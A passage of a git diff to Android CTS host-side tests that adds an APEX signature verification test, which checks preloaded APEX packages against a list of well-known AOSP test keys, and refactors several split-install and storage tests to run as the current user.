<option name="config-descriptor:metadata" key="component" value="systems" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<test class="com.android.tradefed.testtype.HostTest" >
<option name="jar" value="CtsApexTestCases.jar" />
</test>
diff --git a/hostsidetests/apex/src/android/apex/cts/ApexTest.java b/hostsidetests/apex/src/android/apex/cts/ApexTest.java
index 89936e1..0347299 100644
--- a/hostsidetests/apex/src/android/apex/cts/ApexTest.java
+++ b/hostsidetests/apex/src/android/apex/cts/ApexTest.java
@@ -32,15 +32,30 @@
return Boolean.parseBoolean(getDevice().getProperty("ro.apex.updatable"));
}
+ private boolean isGSI() throws Exception {
+ String systemProduct = getDevice().getProperty("ro.product.system.name");
+ return systemProduct.equals("aosp_arm")
+ || systemProduct.equals("aosp_arm64")
+ || systemProduct.equals("aosp_x86")
+ || systemProduct.equals("aosp_x86_64");
+ }
+
/**
* Ensures that the built-in APEXes are all with flattened APEXes
* or non-flattend APEXes. Mixture of them is not supported and thus
* not allowed.
+ *
+ * GSI is exempt from this test since it exceptionally includes both types os APEXes.
*/
@Test
public void testApexType() throws Exception {
+ if (isGSI()) {
+ return;
+ }
+
String[] builtinDirs = {
"/system/apex",
+ "/system_ext/apex",
"/product/apex",
"/vendor/apex"
};
@@ -73,7 +88,7 @@
private int countFlattenedApexes(String dir) throws Exception {
CommandResult result = getDevice().executeShellV2Command(
- "find " + dir + " -type f -name \"apex_manifest.json\" ! -path \"*" +
+ "find " + dir + " -type f -name \"apex_manifest.pb\" ! -path \"*" +
CTS_SHIM_APEX_NAME + "*\" | wc -l");
return result.getExitCode() == 0 ? Integer.parseInt(result.getStdout().trim()) : 0;
}
diff --git a/hostsidetests/appsecurity/Android.bp b/hostsidetests/appsecurity/Android.bp
new file mode 100644
index 0000000..31ed981
--- /dev/null
+++ b/hostsidetests/appsecurity/Android.bp
@@ -0,0 +1,4 @@
+filegroup {
+ name: "CtsHostsideTestsAppSecurityUtil",
+ srcs: ["src/android/appsecurity/cts/Utils.java"],
+}
diff --git a/hostsidetests/appsecurity/Android.mk b/hostsidetests/appsecurity/Android.mk
index 392ccb6..c37fd33 100644
--- a/hostsidetests/appsecurity/Android.mk
+++ b/hostsidetests/appsecurity/Android.mk
@@ -23,14 +23,12 @@
LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-LOCAL_STATIC_JAVA_LIBRARIES := truth-prebuilt-jar
-
LOCAL_JAVA_RESOURCE_DIRS := res
LOCAL_CTS_TEST_PACKAGE := android.appsecurity
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
LOCAL_REQUIRED_MODULES := \
CtsCorruptApkTests_b71360999 \
diff --git a/hostsidetests/appsecurity/OWNERS b/hostsidetests/appsecurity/OWNERS
index f86fd96..fc0a238 100644
--- a/hostsidetests/appsecurity/OWNERS
+++ b/hostsidetests/appsecurity/OWNERS
@@ -1,13 +1,15 @@
-# Bug component: 36137
+# Bug component: 533114
toddke@google.com
per-file AccessSerialNumberTest.java = moltmann@google.com
per-file AdoptableHostTest.java = jsharkey@google.com
+per-file ApexSignatureVerificationTest.java = dariofreni@google.com
per-file ApplicationVisibilityTest.java = toddke@google.com
+per-file AppOpsTest.java = moltmann@google.com
per-file AppSecurityTests.java = cbrubaker@google.com
per-file AuthBoundKeyTest.java = cbrubaker@google.com
per-file BaseInstallMultiple.java = toddke@google.com
-per-file BasePermissionsTest.java = moltmann@google.com
per-file CorruptApkTests.java = rtmitchell@google.com
+per-file DeviceIdentifierTest.java = cbrubaker@google.com
per-file DirectBootHostTest.java = jsharkey@google.com
per-file DocumentsTestCase.java = jsharkey@google.com
per-file DocumentsTest.java = jsharkey@google.com
@@ -26,7 +28,13 @@
per-file PkgInstallSignatureVerificationTest.java = cbrubaker@google.com
per-file PrivilegedUpdateTests.java = toddke@google.com
per-file ScopedDirectoryAccessTest.java = jsharkey@google.com
+per-file SharedUserIdTest.java = toddke@google.com
per-file SplitTests.java = toddke@google.com
per-file StorageHostTest.java = jsharkey@google.com
per-file UseEmbeddedDexTest.java = victorhsieh@google.com
+# test apps
+per-file BasePermissionsTest.java = moltmann@google.com
+per-file RequestsOnlyCalendarApp22.java = moltmann@google.com
+per-file ReviewPermissionHelper = moltmann@google.com
per-file UsePermission*.java = moltmann@google.com
+
diff --git a/hostsidetests/appsecurity/res/apexsigverify/README.md b/hostsidetests/appsecurity/res/apexsigverify/README.md
new file mode 100644
index 0000000..c3842e1
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/README.md
@@ -0,0 +1,24 @@
+# Cts Well known key test
+
+## AOSP Well known Key source path
+
+art/build/apex/com.android.runtime.avbpubkey
+external/conscrypt/apex/com.android.conscrypt.avbpubkey
+frameworks/av/apex/com.android.media.swcodec.avbpubkey
+frameworks/av/apex/com.android.media.avbpubkey
+system/apex/apexd/apexd_testdata/com.android.apex.test_package_2.avbpubkey
+system/apex/apexd/apexd_testdata/com.android.apex.test_package.no_inst_key.avbpubkey
+system/apex/apexd/apexd_testdata/com.android.apex.test_package.prepostinstall.fail.avbpubkey
+system/apex/apexd/apexd_testdata/com.android.apex.test_package.postinstall.avbpubkey
+system/apex/apexd/apexd_testdata/com.android.apex.test_package.preinstall.avbpubkey
+system/apex/apexd/apexd_testdata/com.android.apex.test_package.avbpubkey
+system/apex/tests/testdata/com.android.apex.test.avbpubkey
+system/apex/apexer/testdata/com.android.example.apex.avbpubkey
+system/apex/apexer/etc/com.android.support.apexer.avbpubkey
+system/timezone/apex/com.android.tzdata.avbpubkey
+system/netd/apex/com.android.resolv.avbpubkey
+system/core/rootdir/avb/s-gsi.avbpubkey
+system/core/rootdir/avb/q-gsi.avbpubkey
+system/core/rootdir/avb/r-gsi.avbpubkey
+
+## Updating public keys
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test.avbpubkey
new file mode 100644
index 0000000..28bc8f7
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.avbpubkey
new file mode 100644
index 0000000..92767ea
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.no_inst_key.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.no_inst_key.avbpubkey
new file mode 100644
index 0000000..ea34cf3
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.no_inst_key.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.postinstall.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.postinstall.avbpubkey
new file mode 100644
index 0000000..97f26a2
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.postinstall.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.preinstall.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.preinstall.avbpubkey
new file mode 100644
index 0000000..f3593c4
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.preinstall.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.prepostinstall.fail.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.prepostinstall.fail.avbpubkey
new file mode 100644
index 0000000..fe7c4b3
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package.prepostinstall.fail.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package_2.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package_2.avbpubkey
new file mode 100644
index 0000000..92767ea
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.apex.test_package_2.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.conscrypt.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.conscrypt.avbpubkey
new file mode 100644
index 0000000..5ce0fbd
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.conscrypt.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.example.apex.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.example.apex.avbpubkey
new file mode 100644
index 0000000..28bc8f7
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.example.apex.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.media.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.media.avbpubkey
new file mode 100644
index 0000000..c0c8fd3
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.media.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.resolv.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.resolv.avbpubkey
new file mode 100644
index 0000000..e0af34c
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.resolv.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.runtime.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.runtime.avbpubkey
new file mode 100644
index 0000000..b0ffc9b
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.runtime.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.support.apexer.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.support.apexer.avbpubkey
new file mode 100644
index 0000000..6113bba
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.support.apexer.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.tzdata.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.tzdata.avbpubkey
new file mode 100644
index 0000000..932091d
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.tzdata.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/q-gsi.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/q-gsi.avbpubkey
new file mode 100644
index 0000000..5ed7543b
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/q-gsi.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/r-gsi.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/r-gsi.avbpubkey
new file mode 100644
index 0000000..2609b30
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/r-gsi.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/s-gsi.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/s-gsi.avbpubkey
new file mode 100644
index 0000000..9065fb8
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/s-gsi.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApexSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApexSignatureVerificationTest.java
new file mode 100644
index 0000000..2392069
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApexSignatureVerificationTest.java
@@ -0,0 +1,311 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.util.FileUtil;
+import com.android.tradefed.util.ZipUtil;
+
+import org.hamcrest.CustomTypeSafeMatcher;
+import org.hamcrest.Matcher;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.ErrorCollector;
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runner.RunWith;
+import org.junit.runners.model.Statement;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.URISyntaxException;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Enumeration;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.regex.Pattern;
+import java.util.zip.ZipEntry;
+import java.util.zip.ZipException;
+import java.util.zip.ZipFile;
+
+/**
+ * Tests for APEX signature verification to ensure preloaded APEXes
+ * DO NOT signed with well-known keys.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class ApexSignatureVerificationTest extends BaseHostJUnit4Test {
+
+ private static final String TEST_BASE = "ApexSignatureVerificationTest";
+ private static final String TEST_APEX_SOURCE_DIR_PREFIX = "tests-apex_";
+ private static final String APEX_PUB_KEY_NAME = "apex_pubkey";
+
+ private static final Pattern WELL_KNOWN_PUBKEY_PATTERN = Pattern.compile(
+ "^apexsigverify\\/.*.avbpubkey");
+
+ private static boolean mHasTestFailure;
+
+ private static File mBasePath;
+ private static File mWellKnownKeyStorePath;
+ private static File mArchiveZip;
+
+ private static Map<String, String> mPreloadedApexPathMap = new HashMap<>();
+ private static Map<String, File> mLocalApexFileMap = new HashMap<>();
+ private static Map<String, File> mExtractedTestDirMap = new HashMap<>();
+ private static List<File> mWellKnownKeyFileList = new ArrayList<>();
+ private ITestDevice mDevice;
+
+ @Rule
+ public final ErrorCollector mErrorCollector = new ErrorCollector();
+
+ @Before
+ public void setUp() throws Exception {
+ mDevice = getDevice();
+ if (mBasePath == null && mWellKnownKeyStorePath == null
+ && mExtractedTestDirMap.size() == 0) {
+ mBasePath = FileUtil.createTempDir(TEST_BASE);
+ mBasePath.deleteOnExit();
+ mWellKnownKeyStorePath = FileUtil.createTempDir("wellknownsignatures", mBasePath);
+ mWellKnownKeyStorePath.deleteOnExit();
+ pullWellKnownSignatures();
+ getApexPackageList();
+ pullApexFiles();
+ extractApexFiles();
+ }
+ }
+
+ @AfterClass
+ public static void tearDownClass() throws IOException {
+ if (mArchiveZip == null && mHasTestFailure) {
+ // Archive all operation data and materials in host
+ // /tmp/ApexSignatureVerificationTest.zip
+ // in case the test result is not expected and need to debug.
+ mArchiveZip = ZipUtil.createZip(mBasePath, mBasePath.getName());
+ }
+ }
+
+ @Rule
+ public final OnFailureRule mDumpOnFailureRule = new OnFailureRule() {
+ @Override
+ protected void onTestFailure(Statement base, Description description, Throwable t) {
+ mHasTestFailure = true;
+ }
+ };
+
+ @Test
+ public void testApexIncludePubKey() {
+ for (Map.Entry<String, File> entry : mExtractedTestDirMap.entrySet()) {
+ final File pubKeyFile = FileUtil.findFile(entry.getValue(), APEX_PUB_KEY_NAME);
+
+ assertWithMessage("apex:" + entry.getKey() + " do not contain pubkey").that(
+ pubKeyFile.exists()).isTrue();
+ }
+ }
+
+ @Test
+ public void testApexPubKeyIsNotWellKnownKey() {
+
+ for (Map.Entry<String, File> entry : mExtractedTestDirMap.entrySet()) {
+ final File pubKeyFile = FileUtil.findFile(entry.getValue(), APEX_PUB_KEY_NAME);
+ final Iterator it = mWellKnownKeyFileList.iterator();
+
+ assertThat(pubKeyFile).isNotNull();
+
+ while (it.hasNext()) {
+ final File wellKnownKey = (File) it.next();
+ verifyPubKey("must not use well known pubkey", pubKeyFile,
+ pubkeyShouldNotEqualTo(wellKnownKey));
+ }
+ }
+ }
+
+ @Ignore
+ @Test
+ public void testApexPubKeyMatchPayloadImg() {
+ // TODO(b/142919428): Need more investigation to find a way verify apex_paylaod.img
+ // was signed by apex_pubkey
+ }
+
+ private void extractApexFiles() {
+ final String subFilesFilter = "\\w+.*";
+
+ try {
+ for (Map.Entry<String, File> entry : mLocalApexFileMap.entrySet()) {
+ final String testSrcDirPath = TEST_APEX_SOURCE_DIR_PREFIX + entry.getKey();
+ File apexDir = FileUtil.createTempDir(testSrcDirPath, mBasePath);
+ apexDir.deleteOnExit();
+ ZipUtil.extractZip(new ZipFile(entry.getValue()), apexDir);
+
+ assertThat(apexDir).isNotNull();
+
+ mExtractedTestDirMap.put(entry.getKey(), apexDir);
+
+ assertThat(FileUtil.findFiles(apexDir, subFilesFilter)).isNotNull();
+ }
+ } catch (IOException e) {
+ throw new AssertionError("extractApexFile IOException" + e);
+ }
+ }
+
+ private void getApexPackageList() {
+ Set<ITestDevice.ApexInfo> apexes;
+ try {
+ apexes = mDevice.getActiveApexes();
+ for (ITestDevice.ApexInfo ap : apexes) {
+ mPreloadedApexPathMap.put(ap.name, ap.sourceDir);
+ }
+
+ assertThat(mPreloadedApexPathMap.size()).isAtLeast(0);
+ } catch (DeviceNotAvailableException e) {
+ throw new AssertionError("getApexPackageList DeviceNotAvailableException" + e);
+ }
+ }
+
+ private static Collection<String> getResourcesFromJarFile(final File file,
+ final Pattern pattern) {
+ final ArrayList<String> candidateList = new ArrayList<>();
+ ZipFile zf;
+ try {
+ zf = new ZipFile(file);
+ assertThat(zf).isNotNull();
+ } catch (final ZipException e) {
+ throw new AssertionError("Query Jar file ZipException" + e);
+ } catch (final IOException e) {
+ throw new AssertionError("Query Jar file IOException" + e);
+ }
+ final Enumeration e = zf.entries();
+ while (e.hasMoreElements()) {
+ final ZipEntry ze = (ZipEntry) e.nextElement();
+ final String fileName = ze.getName();
+ final boolean isMatch = pattern.matcher(fileName).matches();
+ if (isMatch) {
+ candidateList.add(fileName);
+ }
+ }
+ try {
+ zf.close();
+ } catch (final IOException e1) {
+ }
+ return candidateList;
+ }
+
+ private void pullApexFiles() {
+ try {
+ for (Map.Entry<String, String> entry : mPreloadedApexPathMap.entrySet()) {
+ final File localTempFile = File.createTempFile(entry.getKey(), "", mBasePath);
+
+ assertThat(localTempFile).isNotNull();
+ assertThat(mDevice.pullFile(entry.getValue(), localTempFile)).isTrue();
+
+ mLocalApexFileMap.put(entry.getKey(), localTempFile);
+ }
+ } catch (DeviceNotAvailableException e) {
+ throw new AssertionError("pullApexFile DeviceNotAvailableException" + e);
+ } catch (IOException e) {
+ throw new AssertionError("pullApexFile IOException" + e);
+ }
+ }
+
+ private void pullWellKnownSignatures() {
+ final Collection<String> keyPath;
+
+ try {
+ File jarFile = new File(
+ this.getClass().getProtectionDomain().getCodeSource().getLocation().toURI());
+ keyPath = getResourcesFromJarFile(jarFile, WELL_KNOWN_PUBKEY_PATTERN);
+
+ assertThat(keyPath).isNotNull();
+ } catch (URISyntaxException e) {
+ throw new AssertionError("Iterate well-known key name from jar IOException" + e);
+ }
+
+ Iterator<String> keyIterator = keyPath.iterator();
+ while (keyIterator.hasNext()) {
+ final String tmpKeyPath = keyIterator.next();
+ final String keyFileName = tmpKeyPath.substring(tmpKeyPath.lastIndexOf("/"));
+ File outFile;
+ try (InputStream in = getClass().getResourceAsStream("/" + tmpKeyPath)) {
+ outFile = File.createTempFile(keyFileName, "", mWellKnownKeyStorePath);
+ mWellKnownKeyFileList.add(outFile);
+ FileUtil.writeToFile(in, outFile);
+ } catch (IOException e) {
+ throw new AssertionError("Copy well-known keys to tmp IOException" + e);
+ }
+ }
+
+ assertThat(mWellKnownKeyFileList).isNotEmpty();
+ }
+
+ private <T> void verifyPubKey(String reason, T actual, Matcher<? super T> matcher) {
+ mErrorCollector.checkThat(reason, actual, matcher);
+ }
+
+ private static Matcher<File> pubkeyShouldNotEqualTo(File wellknownKey) {
+ return new CustomTypeSafeMatcher<File>("must not match well known key ") {
+ @Override
+ protected boolean matchesSafely(File actual) {
+ boolean isMatchWellknownKey = false;
+ try {
+ isMatchWellknownKey = FileUtil.compareFileContents(actual, wellknownKey);
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ // Assert fail if the keys matched
+ return !isMatchWellknownKey;
+ }
+ };
+ }
+
+ /**
+ * Custom JUnit4 rule that provides a callback upon test failures.
+ */
+ public abstract class OnFailureRule implements TestRule {
+ public OnFailureRule() {
+ }
+
+ @Override
+ public Statement apply(Statement base, Description description) {
+ return new Statement() {
+
+ @Override
+ public void evaluate() throws Throwable {
+ try {
+ base.evaluate();
+ } catch (Throwable t) {
+ onTestFailure(base, description, t);
+ throw t;
+ }
+ }
+ };
+ }
+
+ protected abstract void onTestFailure(Statement base, Description description, Throwable t);
+ }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DeviceIdentifierTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DeviceIdentifierTest.java
index 03c7172..9687e97 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DeviceIdentifierTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DeviceIdentifierTest.java
@@ -59,7 +59,8 @@
public void testDeviceIdentifierAccessWithAppOpGranted() throws Exception {
setDeviceIdentifierAccessAppOp(DEVICE_IDENTIFIER_PKG, true);
- Utils.runDeviceTests(getDevice(), DEVICE_IDENTIFIER_PKG, DEVICE_IDENTIFIER_CLASS,
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), DEVICE_IDENTIFIER_PKG,
+ DEVICE_IDENTIFIER_CLASS,
DEVICE_IDENTIFIER_TEST_METHOD);
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
index b0ee6ae..8ae80fc 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
@@ -603,18 +603,17 @@
installPackage(config.apk);
// TODO: extend test to exercise secondary users
- for (int user : Arrays.copyOf(mUsers, 1)) {
- updatePermissions(config.pkg, user, new String[] {
- PERM_READ_EXTERNAL_STORAGE,
- }, true);
- updatePermissions(config.pkg, user, new String[] {
- PERM_WRITE_EXTERNAL_STORAGE,
- }, false);
+ int user = getDevice().getCurrentUser();
+ updatePermissions(config.pkg, user, new String[] {
+ PERM_READ_EXTERNAL_STORAGE,
+ }, true);
+ updatePermissions(config.pkg, user, new String[] {
+ PERM_WRITE_EXTERNAL_STORAGE,
+ }, false);
- runDeviceTests(config.pkg, config.clazz, "testMediaEscalation_Open", user);
- runDeviceTests(config.pkg, config.clazz, "testMediaEscalation_Update", user);
- runDeviceTests(config.pkg, config.clazz, "testMediaEscalation_Delete", user);
- }
+ runDeviceTests(config.pkg, config.clazz, "testMediaEscalation_Open", user);
+ runDeviceTests(config.pkg, config.clazz, "testMediaEscalation_Update", user);
+ runDeviceTests(config.pkg, config.clazz, "testMediaEscalation_Delete", user);
}
@Test
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
index 3bc1654..85609f9 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
@@ -17,6 +17,7 @@
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AppModeInstant;
+
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.After;
@@ -60,14 +61,16 @@
public void testInstallBase_full() throws Exception {
testInstallBase(false);
}
+
@Test
@AppModeInstant(reason = "'instant' portion of the hostside test")
public void testInstallBase_instant() throws Exception {
testInstallBase(true);
}
+
private void testInstallBase(boolean instant) throws Exception {
new InstallMultiple(instant).addApk(APK_BASE).run();
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
}
@Test
@@ -75,14 +78,16 @@
public void testInstallBaseAndConfigSplit_full() throws Exception {
testInstallBaseAndConfigSplit(false);
}
+
@Test
@AppModeInstant(reason = "'instant' portion of the hostside test")
public void testInstallBaseAndConfigSplit_instant() throws Exception {
testInstallBaseAndConfigSplit(true);
}
+
private void testInstallBaseAndConfigSplit(boolean instant) throws Exception {
new InstallMultiple(instant).addApk(APK_BASE).addApk(APK_BASE_pl).run();
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadPolishLocale");
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS, "shouldLoadPolishLocale");
}
@Test
@@ -90,25 +95,31 @@
public void testInstallMissingDependency_full() throws Exception {
testInstallMissingDependency(false);
}
+
@Test
@AppModeInstant(reason = "'instant' portion of the hostside test")
public void testInstallMissingDependency_instant() throws Exception {
testInstallMissingDependency(true);
}
+
private void testInstallMissingDependency(boolean instant) throws Exception {
new InstallMultiple(instant).addApk(APK_BASE).addApk(APK_FEATURE_B).runExpectingFailure();
}
@Test
- @AppModeFull(reason = "b/109878606; instant applications can't send broadcasts to manifest receivers")
+ @AppModeFull(reason = "b/109878606; instant applications can't send broadcasts to manifest "
+ + "receivers")
public void testInstallOneFeatureSplit_full() throws Exception {
testInstallOneFeatureSplit(false);
}
+
private void testInstallOneFeatureSplit(boolean instant) throws Exception {
new InstallMultiple(instant).addApk(APK_BASE).addApk(APK_FEATURE_A).run();
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureADefault");
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAReceivers");
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+ "shouldLoadFeatureADefault");
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+ "shouldLoadFeatureAReceivers");
}
@Test
@@ -116,30 +127,38 @@
public void testInstallOneFeatureSplitAndConfigSplits_full() throws Exception {
testInstallOneFeatureSplitAndConfigSplits(false);
}
+
@Test
@AppModeInstant(reason = "'instant' portion of the hostside test")
public void testInstallOneFeatureSplitAndConfigSplits_instant() throws Exception {
testInstallOneFeatureSplitAndConfigSplits(true);
}
+
private void testInstallOneFeatureSplitAndConfigSplits(boolean instant) throws Exception {
new InstallMultiple(instant).addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_BASE_pl)
.addApk(APK_FEATURE_A_pl).run();
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadPolishLocale");
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAPolishLocale");
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS, "shouldLoadPolishLocale");
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+ "shouldLoadFeatureAPolishLocale");
}
@Test
- @AppModeFull(reason = "b/109878606; instant applications can't send broadcasts to manifest receivers")
+ @AppModeFull(reason = "b/109878606; instant applications can't send broadcasts to manifest "
+ + "receivers")
public void testInstallDependentFeatureSplits_full() throws Exception {
testInstallDependentFeatureSplits(false);
}
+
private void testInstallDependentFeatureSplits(boolean instant) throws Exception {
new InstallMultiple(instant)
.addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureADefault");
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAAndBReceivers");
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+ "shouldLoadFeatureADefault");
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+ "shouldLoadFeatureBDefault");
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+ "shouldLoadFeatureAAndBReceivers");
}
@Test
@@ -147,32 +166,43 @@
public void testInstallDependentFeatureSplitsAndConfigSplits_full() throws Exception {
testInstallDependentFeatureSplitsAndConfigSplits(false);
}
+
@Test
@AppModeInstant(reason = "'instant' portion of the hostside test")
public void testInstallDependentFeatureSplitsAndConfigSplits_instant() throws Exception {
testInstallDependentFeatureSplitsAndConfigSplits(true);
}
